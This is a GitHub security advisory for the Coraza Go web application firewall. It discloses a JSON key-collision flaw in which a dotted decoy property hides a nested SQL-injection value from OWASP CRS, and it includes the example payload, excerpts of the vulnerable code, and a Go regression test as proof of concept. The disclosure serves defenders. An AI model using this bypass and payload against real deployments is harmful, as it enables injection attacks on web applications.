GitHub Advisoryadvisory · Go
GHSA-5gj4-9gm7-2fx2 Coraza body processor has a JSON key collision that allows unauthenticated attackers to bypass OWASP CRS inspection
MEDIUM
Official page ↗
- Ecosystem
- Go
- Packages
- github.com/corazawaf/coraza/v3
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
- Weaknesses
- CWE-20, CWE-436
- Reviewed
- 2026-10-08
Affected packages
• Go github.com/corazawaf/coraza/v3: >= 3.0.0, < 3.8.1 → fixed in 3.8.1
Description
Summary
Coraza's JSON body processor converts nested JSON properties into dot-separated `ARGS_POST` names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable
An unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted property:
```json
{
"account": {
"role": "1' OR '1'='1"
},
"account.role": "safe"
}
```
Coraza stores both properties as `ARGS_POST:json.account.role`; the later value `safe` replaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as `account.role`.
This bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule `949110`. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value.
Details
The affected component is the JSON body processor in `internal/bodyprocessors/json.go`.
`readJSON` creates a single `map[string]string` and begins every generated path with `json`:
```go
func readJSON(s string, maxRecursion int) (map[string]string, error) {
res := make(map[string]string)
key := []byte("json")
json := gjson.Parse(s)
err := readItems(json, key, maxRecursion, res)
// ...
}
```
Source: `internal/bodyprocessors/json.go`, lines 81-94.
For every object level, `readItems` appends a literal dot followed by the unescaped property name:
```go
prevParentLength := len(objKey)
objKey = append(objKey, '.')
if key.Type == gjson.String {
objKey = append(objKey, key.Str...)
}
```
Source: `internal/bodyprocessors/json.go`, lines 111-120.
Scalar values are stored in the map using the resulting flattened string:
```go
res[string(objKey)] = val
```
Source: `internal/bodyprocessors/json.go`, lines 122-145.
This produces a collision:
```text
Nested property: {"account":{"role":"ATTACK"}}
Generated Coraza key: json.account.role
Literal dotted key: {"account.role":"SAFE"}
Generated Coraza key: json.account.role
```
Because both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary `ARGS_POST` collection.
`ProcessRequest` subsequently copies only the final map entries into `ARGS_POST`:
```go
data, err := readJSON(ss, bpo.RequestBodyRecursionLimit)
for key, value := range data {
col.SetIndex(key, 0, value)
}
```
Source: `internal/bodyprocessors/json.go`, lines 29-39.
The JSON remains valid, so Coraza does not set `REQBODY_ERROR`. A normal backend parser does not flatten property names and therefore keeps the nested `account.role` value separate from the literal top-level `"account.role"` property.
Coraza's recommended configuration enables JSON processing, and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.
The bypass was reproduced against CRS v4.25 under all of the following configurations:
• Default build
• `coraza.no_memoize`
• `coraza.rule.multiphase_evaluation`
• `coraza.rule.no_regex_multiline`
PoC
The PoC uses Coraza's existing CRS regression module and its pinned `github.com/corazawaf/coraza-coreruleset/v4` dependency. It proves three facts:
1. CRS blocks the malicious nested value when no collision exists.
2. The dotted decoy makes the same CRS configuration permit the request.
3. Go's standard JSON parser still exposes the malicious nested value to the backend.
1. Save the following file as `testing/coreruleset/json_collision_security_test.go`:
```go
package coreruleset
import (
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"github.com/corazawaf/coraza/v3"
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
)
func TestJSONFlattenedKeyCollisionBypassesCRS(t *testing.T) {
recommended, err := os.ReadFile(
filepath.Join("..", "..", "coraza.conf-recommended"),
)
if err != nil {
t.Fatal(err)
}
cfg := coraza.NewWAFConfig().
WithRootFS(coreruleset.FS).
WithDirectives(string(recommended)).
WithDirectives("SecRuleEngine On").
WithDirectives("Include @crs-setup.conf.example").
WithDirectives("Include @owasp_crs/*.conf")
waf, err := coraza.NewWAF(cfg)
if err != nil {
t.Fatal(err)
}
tests := []struct {
name string
body string
wantBlock bool
}{
{
name: "attack without collision is blocked",
body: `{"account":{"role":"1' OR '1'='1"}}`,
wantBlock: true,
},
{
name: "same attack with dotted decoy bypasses CRS",
body: `{"account":{"role":"1' OR '1'='1"},` +
`"account.role":"safe"}`,
wantBlock: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Prove what a normal backend sees before running Coraza.
var backend struct {
Account struct {
Role string `json:"role"`
} `json:"account"`
}
if err := json.NewDecoder(strings.NewReader(tt.body)).Decode(&backend); err != nil {
t.Fatal(err)
}
if backend.Account.Role != "1' OR '1'='1" {
t.Fatalf("backend lost attack value: %q", backend.Account.Role)
}
tx := waf.NewTransaction()
defer tx.Close()
tx.ProcessConnection("127.0.0.1", 12345, "127.0.0.1", 80)
tx.ProcessURI("/", "POST", "HTTP/1.1")
tx.AddRequestHeader("Host", "localhost")
tx.AddRequestHeader("User-Agent", "security-test")
tx.AddRequestHeader("Content-Type", "application/json")
if interruption := tx.ProcessRequestHeaders(); interruption != nil {
t.Fatalf("unexpected header interruption: %#v", interruption)
}
interruption, _, err := tx.WriteRequestBody([]byte(tt.body))
if err != nil || interruption != nil {
t.Fatalf("body write: interruption=%#v error=%v", interruption, err)
}
interruption, err = tx.ProcessRequestBody()
if err != nil {
t.Fatal(err)
}
blocked := interruption != nil
t.Logf("blocked=%v interruption=%#v", blocked, interruption)
if blocked != tt.wantBlock {
t.Fatalf("blocked=%v, want %v", blocked, tt.wantBlock)
}
})
}
}
```
2. Run the default-build test:
```bash
cd testing/coreruleset
go test -run TestJSONFlattenedKeyCollisionBypassesCRS -v
```
3. Expected reproduction output:
```text
=== RUN TestJSONFlattenedKeyCollisionBypassesCRS
=== RUN TestJSONFlattenedKeyCollisionBypassesCRS/attack_without_collision_is_blocked
blocked=true interruption=&types.Interruption{RuleID:9…
Related
References
- https://github.com/corazawaf/coraza/security/advisories/GHSA-5gj4-9gm7-2fx2 web
- https://github.com/corazawaf/coraza/commit/52af139cab5ad10c5cb0152a161063b523907bdf web
- https://github.com/corazawaf/coraza/commit/5f577a548aeb9ca836122df4258f93ef6cfab38a web
- https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a web
- https://github.com/corazawaf/coraza package
- https://github.com/corazawaf/coraza/releases/tag/v3.8.1 web